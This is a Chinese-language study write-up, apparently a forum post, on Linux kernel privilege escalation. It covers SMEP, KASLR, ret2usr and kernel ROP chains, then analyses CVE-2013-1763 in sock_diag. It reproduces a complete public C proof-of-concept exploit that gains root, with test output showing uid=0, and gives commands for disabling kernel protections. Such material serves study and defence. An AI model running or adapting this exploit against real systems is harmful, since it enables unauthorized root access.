0x00 前言

花了一个月的时间开始学习linux内核提权,把学到的东西都整理在这了~前面介绍了关于内核提权的一些基础知识,后面会分析一个具体的漏洞。

0x01 内核提权

分级保护域

在计算机中用于在发生故障时保护数据,提升计算机安全的一种方式,通常称为保护环,简称Rings。在一些硬件或者微代码级别上提供不同特权态模式的CPU架构上,保护环通常都是硬件强制的。Rings是从最高特权级(通常被叫作0级)到最低特权级(通常对应最大的数字)排列的。linux使用了ring0和ring3,ring0用于内核代码和驱动程序,ring3用于用户程序运行。

提权

在内核中想要获得root权限不能只是用system("/bin/sh");而是用下面的语句:

commit_creds(prepare_kernel_cred (0));

这个函数分配并应用了一个新的凭证结构(uid = 0, gid = 0)从而获取root权限。

0x02 内核保护措施

SMEP

管理模式执行保护。
保护内核使其不允许执行用户空间代码。也就是防止ret2usr攻击,后文会讲解ret2usr相关知识。
检查smep是否开启:

cat /proc/cpuinfo | grep smep


smep位于CR4寄存器的第20位,设置为1。CR4寄存器的值:0x1407f0 = 0001 0100 0000 0111 1111 0000

关闭SMEP方法
修改/etc/default/grub文件中的GRUB_CMDLINE_LINUX="",加上nosmep/nosmap/nokaslr,然后update-grub就好。

GRUB_CMDLINE_LINUX="nosmep/nosmap/nokaslr" 
sudo update-grub

KASLR

内核地址空间随机化。

内核地址显示限制

即kptr_ restrict指示是否限制通过/ proc和其他接口暴露内核地址。

  • 0:默认情况下,没有任何限制。
  • 1:使用%pK格式说明符打印的内核指针将被替换为0,除非用户具有CAP_ SYSLOG特权
  • 2:使用%pK打印的内核指针将被替换为0而不管特权。

也就是说,我们不能直接通过cat /proc/kallsyms来获得commit_creds的地址:


要禁用该限制使用下面的命令:
sudo sysctl -w kernel.kptr_restrict=0

0x03 ret2usr攻击

ret2usr(return-to-usr)利用了用户空间进程不能访问内核空间,但是内核空间能访问用户空间这个特性来重定向内核代码或数据流指向用户空间,并在非root权限下进行提权。
将损坏的代码或数据指针重定向到用户空间中:

|----------------------|                          |----------------------|
| Function ptr         |<==     high mem       ==>| sreuct vulu_opos     |
|----------------------|                          |     *dptr;           |
|                      |                          |----------------------|
|----------------------|        内核空间           |                      |
| Data struct ptr      |                          |                      | 
|----------------------|                          |                      |
|----------------------|--------------------------|----------------------|
|----------------------|                          | struct vuln_ops{     |
| Data struct          |                          |    void(*a)();       |
|----------------------|        用户空间           |    int b;            |
|                      |                          |...};                 |
|----------------------|                          |----------------------|
| escalate_privs()     |<==      low mem       ==>| escalate_privs()     |
|----------------------|                          |----------------------|
  • 找一个函数指针来覆盖。
  • 在这里我们通常使用ptmx_fops->release()这个指针来指向要重写的内核空间。在内核空间中,ptmx_fops作为静态变量存在,它包含一个指向/ dev / ptmx的file_operations结构的指针。 file_operations结构包含一个函数指针,当对文件描述符执行诸如读/写操作时,该函数指针被执行。
  • 在用户空间中使用mmap提权payload,分配新的凭证结构:

    int __attribute__((regparm(3))) (*commit_creds)(unsigned long cred);
    unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);
    commit_creds = 0xffffffffxxxxxxxx;
    prepare_kernel_cred = 0xffffffffxxxxxxxx;
    void escalate_privs() { commit_creds(prepare_kernel_cred(0)); }  //获取root权限
    

    stuct cred —— cred的基本单位
    prepare_kernel_cred —— 分配并返回一个新的cred
    commit_creds —— 应用新的cred

  • 在用户空间创建一个新的结构体“A”。

  • 用提权函数指针来覆盖这个"A"的指针。
  • 触发提权函数,执行iretq返回用户空间,执行system("/bin/sh")提权

0x04 内核ROP

多数情况下系统是会开启SMEP的,这时候就不能使用ret2usr了,可以使用内核ROP技术来绕过SMEP。
内核空间的ROP和用户空间的ROP其实差不多,但是内核传参一般是通过寄存器而不是栈,而且内核并不和用户空间共用一个栈。
我们构建一个ROP链让它执行上面的内核提权操作,但是不执行在用户空间的任何指令。
构造的ROP链结构一般是这样的:

|----------------------|
| pop rdi; ret         |<== low mem
|----------------------|
| NULL                 |
|----------------------|
| addr of              |
| prepare_kernel_cred()|
|----------------------|
| mov rdi, rax; ret    |
|----------------------|
| addr of              |
| commit_creds()       |<== high mem
|----------------------|

先将函数的第一个参数传入rdi寄存器中,然后ROP链中的第一条指令从堆栈中弹出空值,将这个值传递给prepare_kernel_cred()函数。然后将指向一个新的凭证结构的指针存储在rax中,并执行mov rdi, rax操作,再把这个rdi作为参数传递给commit_creds()。这样就实现了一个提权ROP链。

同用户空间的ROP一样我们还是需要找gadget,内核空间的gadget也是可以简单地从内核二进制文件中提取的。
首先使用extract-vmlinux脚本来解压/boot/vmlinuz*这个压缩内核镜像。extract-vmlinux位于/usr/src/linux-headers-3.13.0-32/scripts目录。
用这个命令解压vmlinuz并保存到vmlinux:

sudo ./extract-vmlinux /boot/vmlinuz-3.13.0-32-generic > vmlinux

之后就可以用ROPgadget来获取gadget了,最好是一次性把gadget都写到一个文件中。

ROPgadget --binary vmlinux > ~/ropgadget

根据前面我们构造的ROP链,要找pop rdi; ret和mov rdi, rax; ret这俩gadget,但是在vmlinux里并没有后面这个gadget,只找到下面的:

0xffffffff81016bc5 : pop rdi ; ret
0xffffffff810e00d1 : pop rdx ; ret
0xffffffff8118e3a0 : mov rdi, rax ; call r10
0xffffffff8142b6d1 : mov rdi, rax ; call r12
0xffffffff8130217b : mov rdi, rax ; call r14
0xffffffff81d48ba6 : mov rdi, rax ; call r15
0xffffffff810d5f34 : mov rdi, rax ; call r8
0xffffffff8117f534 : mov rdi, rax ; call r9
0xffffffff8133ed6b : mov rdi, rax ; call rbx
0xffffffff8105f69f : mov rdi, rax ; call rcx
0xffffffff810364bf : mov rdi, rax ; call rdx

只好调整最初的ROP链,用mov rdi, rax ; call rdx和pop rdx; ret代替原来的。用call来执行commit_creds(),而rdi就指向新的凭证结构。
ROP链如下:

|----------------------|
| pop rdi; ret         |<== low mem
|----------------------|
| NULL                 |
|----------------------|
| addr of              |
| prepare_kernel_cred()|
|----------------------|
| pop rdx; ret         |
|----------------------|
| addr of              |
| commit_creds()       |
|----------------------|
| mov rdi, rax ;       |
| call rdx             |<== high mem
|----------------------|

Stack Pivot

由于我们只能在内核空间执行代码,但是不能把ROP链放到内核空间中,所以只能把ROP链放到用户空间。然后在内核空间找到合适的gadget放到ROP链中。这样就能从用户空间获取指针到内核空间了。
怎么放?用Stack Pivot-->;

mov rXx, rsp ; ret
add rsp, ...; ret
xchg rXx, rsp ; ret(xchg eXx, esp ; ret)
xchg rsp, rXx ; ret(xchg esp, eXx ; ret)

在64位的系统中使用这里的xchg rXx, rsp ; ret(xchg rsp, rXx ; ret)32位的寄存器,即xchg eXx, esp; ret或xchg esp, eXx ; ret。这样做其实是当rXx中包含有效的内核内存地址时,就把rXx的低32位设置为新的栈指针。(rax也被设置为rsp的低32位)

之后我们还需要返回到用户空间里执行代码,用下面的两个指令:

swapgs
iretq

使用iretq指令返回到用户空间,在执行iretq之前,执行swapgs指令。该指令通过用一个MSR中的值交换GS寄存器的内容,用来获取指向内核数据结构的指针,然后才能执行系统调用之类的内核空间程序。
iretq的堆栈布局如下:

|----------------------|
| RIP                  |<== low mem
|----------------------|
| CS                   |
|----------------------|
| EFLAGS               |
|----------------------|
| RSP                  |
|----------------------|
| SS                   |<== high mem
|----------------------|

新的用户空间指令指针(RIP),用户空间堆栈指针(RSP),代码和堆栈段选择器(CS和SS)以及具有各种状态信息的EFLAGS寄存器。

最终构造的rop链是这样的:

|----------------------|
| pop rdi; ret         |<== low mem
|----------------------|
| NULL                 |
|----------------------|
| addr of              |
| prepare_kernel_cred()|
|----------------------|
| pop rdx; ret         |
|----------------------|
| addr of              |
| commit_creds()       |
|----------------------|
| mov rdi, rax ;       |
| call rdx             |
|----------------------|
| swapgs;              |
| pop rbp; ret         |
|----------------------|
| 0xdeadbeefUL         |
| iretq;               |
|----------------------|
| shell                |
|----------------------|
| CS                   |
|----------------------|
| EFLAGS               |
|----------------------|
| RSP                  |
|----------------------|
| SS                   |<== high mem
|----------------------|

还有一种比较简单的绕过SMEP的方法是使用ROP翻转CR4的第20位并禁用SMEP,然后再执行commit_creds(prepare_kernel_cred(0))获取root权限。
构造下面的的结构,ROP链也像上面那样构造就行了:

offset of rip
pop rdi; ret
mov CR4, rdi; ret
commit_creds(prepare_kernel_cred(0))
swapgs
iretq
RIP
CS
EFLAGS
RSP
SS

关于具体的内核ROP可以查看这篇文章
分了两篇,写得非常好,而且写了漏洞驱动来实践,感兴趣的可以跟进试试。

0x05 CVE-2013-1763漏洞分析

在exploit-db上找了比较典型的本地提权漏洞exp ,接下来将详细分析并复现这个漏洞。

漏洞描述

本地提权漏洞。在net/core/sock_diag.c中,__sock_diag_rcv_msg函数未对sock_diag_handlers数组传入的下标做边界检查,导致数组越界访问,从而可执行任意代码。

影响范围

linux kernel 3.3-3.8

patch


可以看到patch只是在__sock_diag_rcv_msg函数里加上了数组边界判断。

漏洞函数

static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
{
    int err;
    struct sock_diag_req *req = NLMSG_DATA(nlh);
    struct sock_diag_handler *hndl;
    if (nlmsg_len(nlh) < sizeof(*req))
        return -EINVAL;
    hndl = sock_diag_lock_handler(req->sdiag_family);  //传入sdiag_family的值,返回数组指针sock_diag_handlers[reg->sdiag_family].但是没有做边界判断,可能导致越界。
    if (hndl == NULL)
        err = -ENOENT;
    else
        err = hndl->dump(skb, nlh);   //可以利用这个来执行任意代码
    sock_diag_unlock_handler(hndl);
    return err;
}
static const inline struct sock_diag_handler *sock_diag_lock_handler(int family)
{
        if (sock_diag_handlers[family] == NULL)
                request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,
                                NETLINK_SOCK_DIAG, family);
        mutex_lock(&sock_diag_table_mutex);
        return sock_diag_handlers[family];//这个函数没有对传入的family的值的范围,也就是当family >= AF_MAX时数组越界
}
static struct sock_diag_handler *sock_diag_handlers[AF_MAX];

漏洞利用分析

首先我们需要知道如何才能在上面的漏洞下断点然后执行到里面去。查看net/core/sock_diag.c源码发现它使用了netlink.h头文件,我们可以利用netlink协议来创建socket并发送数据触发断点。
查看netlink数据包结构:

Netlink套接字用于在进程和内核空间之间传递信息。它传达的每个netlink消息的应用程序必须提供以下变量:

struct nlmsghdr {
    __u32 nlmsg_len;     /*包含标题的消息长度。*/
    __u16 nlmsg_type;    /*消息内容的类型。*/
    __u16 nlmsg_flags;   /*其他标志。*/
    __u32 nlmsg_seq;     /* 序列号。*/
    __u32 nlmsg_pid;     /*发送进程的PID。*/
};

根据其结构体编写代码:

struct {  //netlink数据包格式
        struct nlmsghdr nlh;
        struct unix_diag_req r;
    } req;
    char buf[8192];
    //创建netlink协议的socket
    if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
        printf("Can't create sock diag socket\n");
        return -1;
    }
    //填充数据包使其能执行到__sock_diag_rcv_msg
    memset(&req, 0, sizeof(req));
    req.nlh.nlmsg_len = sizeof(req);
    req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
    req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
    req.nlh.nlmsg_seq = 123456;
    req.r.udiag_states = -1;
    req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;

我们要获取root权限,前面说了,不能直接直接使用system("/bin/sh"); 用kernel_code函数来重新分配一个新的凭证结构:

int __attribute__((regparm(3)))
kernel_code(){  
    commit_creds(prepare_kernel_cred(0));
    return -1; }

但是我们还需要考虑如何将这段代码放到内存中并执行,将family的值设置为多少才能返回到我们所需要的结构体。
查看下面结构体:

struct sock_diag_handler {
        __u8 family;//
        int (*dump)(struct sk_buff *skb, struct nlmsghdr *nlh);  //利用dump指针
};
/*net/netlink/af_netlink.c下定义的结构体*/
struct netlink_table {
        struct nl_portid_hash   hash;
        struct hlist_head       mc_list;
        struct listeners __rcu  *listeners;
        unsigned int            flags;
        unsigned int            groups;
        struct mutex            *cb_mutex;
        struct module           *module;
        void                    (*bind)(int group);
        int                     registered;
};
static struct netlink_table *nl_table;
struct nl_portid_hash {
        struct hlist_head       *table;
        unsigned long           rehash_time;
        unsigned int            mask;
        unsigned int            shift;
        unsigned int            entries;
        unsigned int            max_shift;
        u32                     rnd;
};

经调试,我们发现rehash_time这个值一直在0x10000-0x130000这个范围内,那么我们就可以设置family的值取到nl_table.hash就可以了。

cat /proc/kallsyms查看结构体的地址并计算相对偏移(如果系统开启了内核地址显示限制可以用这个命令禁用$ sudo sysctl -w kernel.kptr_restrict=0):

edvison@edvison:~$ cat /proc/kallsyms | grep commit_creds
c10600a0 T commit_creds
c17b0f1c r __ksymtab_commit_creds
c17bcfb8 r __kcrctab_commit_creds
c17c500a r __kstrtab_commit_creds
edvison@edvison:~$ cat /proc/kallsyms | grep prepare_kernel_cred
c1060360 T prepare_kernel_cred
c17b49fc r __ksymtab_prepare_kernel_cred
c17bed28 r __kcrctab_prepare_kernel_cred
c17c4fce r __kstrtab_prepare_kernel_cred
edvison@edvison:~$ cat /proc/kallsyms | grep nl_table
c1852888 d nl_table_lock
c185288c d nl_table_wait
c19a00c8 b nl_table_users
c19a00cc b nl_table
edvison@edvison:~$ cat /proc/kallsyms | grep sock_diag_handlers
c199ff40 b sock_diag_handlers

计算family值:

family = (nl_table - sock_diag_handlers)/4 = (c19a00cc - c199ff40)/4 = 99L

得到family的值后,就可以在0x10000-0x130000这个范围里mmap一块内存,在前面填充满nop,然后把我们的提权代码kernel_code()放到这块区域的最后面,这样就使得只要跳转到这块区域就能够一路执行到我们的提权代码。jmp_payload代码如下:

int jump_payload_not_used(void *skb, void *nlh)
{
    asm volatile (
        "mov $kernel_code, %eax\n"
        "call *%eax\n"
    );
}

编译后,objdump查看这段函数:

编写payload,然后替换进kernel_code。

char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm
    unsigned long *asd = &jump[4];  //将\x11全部替换成kernel_code
    *asd = (unsigned long)kernel_code;

完整exp如下:

/* 
* quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8
* bug found by Spender
* poc by SynQ
* 
* hard-coded for 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux
* using nl_table->hash.rehash_time, index 81
* 
* Fedora 18 support added
* 
* 2/2013
*/
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/filter.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <linux/unix_diag.h>
#include <sys/mman.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long sock_diag_handlers, nl_table;
int __attribute__((regparm(3))) //获取root权限
kernel_code()
{
    commit_creds(prepare_kernel_cred(0));
    return -1;
}
int jump_payload_not_used(void *skb, void *nlh)
{
    asm volatile (
        "mov $kernel_code, %eax\n"
        "call *%eax\n"
    );
}
unsigned long
get_symbol(char *name)
{
    FILE *f;
    unsigned long addr;
    char dummy, sym[512];
    int ret = 0;

    f = fopen("/proc/kallsyms", "r");
    if (!f) {
        return 0;
    }

    while (ret != EOF) {
        ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
        if (ret == 0) {
            fscanf(f, "%s\n", sym);
            continue;
        }
        if (!strcmp(name, sym)) {
            printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
            fclose(f);
            return addr;
        }
    }
    fclose(f);
    return 0;
}
int main(int argc, char*argv[])
{
    int fd;
    unsigned family;
    struct {
        struct nlmsghdr nlh;
        struct unix_diag_req r;
    } req;
    char buf[8192];
    if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
        printf("Can't create sock diag socket\n");
        return -1;
    }
    memset(&req, 0, sizeof(req));
    req.nlh.nlmsg_len = sizeof(req);
    req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
    req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
    req.nlh.nlmsg_seq = 123456;
    //req.r.sdiag_family = 99;
    req.r.udiag_states = -1;
    req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
    if(argc==1){
        printf("Run: %s Fedora|Ubuntu\n",argv[0]);
        return 0;
    }
    else if(strcmp(argv[1],"Fedora")==0){
      commit_creds = (_commit_creds) get_symbol("commit_creds");
      prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
      sock_diag_handlers = get_symbol("sock_diag_handlers");
      nl_table = get_symbol("nl_table");
      if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){
        printf("some symbols are not available!\n");
        exit(1);
        }

      family = (nl_table - sock_diag_handlers) / 4;
      printf("family=%d\n",family);
      req.r.sdiag_family = family;
      if(family>255){
        printf("nl_table is too far!\n");
        exit(1);
        }
    }
    else if(strcmp(argv[1],"Ubuntu")==0){
      commit_creds = (_commit_creds) 0xc10600a0;
      prepare_kernel_cred = (_prepare_kernel_cred) 0xc1060360;
      req.r.sdiag_family = 99; //c19a00cc - c199ff40 = nl_table - sock_diag_handlers = 99L
    }
    unsigned long mmap_start, mmap_size;
    mmap_start = 0x10000;
    mmap_size = 0x120000;
    printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size);
        if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
                MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
                printf("mmap fault\n");
                exit(1);
        }
    memset((void*)mmap_start, 0x90, mmap_size); //将申请的内存区域全部填充为nop
    char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm
    unsigned long *asd = &jump[4];  //将\x11全部替换成kernel_code
    *asd = (unsigned long)kernel_code;
    //把jump_payload放进mmap的内存的最后
    memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));

    send(fd, &req, sizeof(req), 0); //发送socket触发漏洞
    printf("uid=%d, euid=%d\n",getuid(), geteuid() );
    system("/bin/sh");
}

编译测试结果:

edvison@edvison:~$ uname -a
Linux edvison 3.8.0 #1 SMP Wed Feb 14 21:38:25 CST 2018 i686 i686 i686 GNU/Linux
edvison@edvison:~$ id
uid=1000(edvison) gid=1000(edvison) =1000(edvison),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),129(kvm),130(libvirtd)
edvison@edvison:~$ gcc -g cve-2013-1763.c -o cve-2013-1763 -I /home/edvison/linux-3.8/
cve-2013-1763.c: In function main:
cve-2013-1763.c:148:23: warning: initialization from incompatible pointer type
  unsigned long *asd = &jump[4];  //将\x11全部替换成kernel_code
                       ^
edvison@edvison:~$ ./cve-2013-1763 Ubuntu 
mmapping at 0x10000, size = 0x120000
uid=0, euid=0
# id
uid=0(root) gid=0(root) =0(root)
# exit

0x06 参考链接

绕过smep:http://cyseclabs.com/slides/smep_bypass.pdf
ret2dir:http://www.cnblogs.com/0xJDchen/p/6143102.html
内核ROP第一部分:https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel-ROP---Ropping-your-way-to---(Part-1)/
内核ROP第二部分:https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel-ROP---Ropping-your-way-to---(Part-2)/
cve-2013-1763 exploit:https://www.exploit-db.com/exploits/33336/
cve-2013-1763 exploit 代码分析 :https://my.oschina.net/fgq611/blog/181812
netlink机制:http://www.cnblogs.com/iceocean/articles/1594195.html

点击收藏 | 2 关注 | 2
  • 动动手指,沙发就是你的了!
登录 后跟帖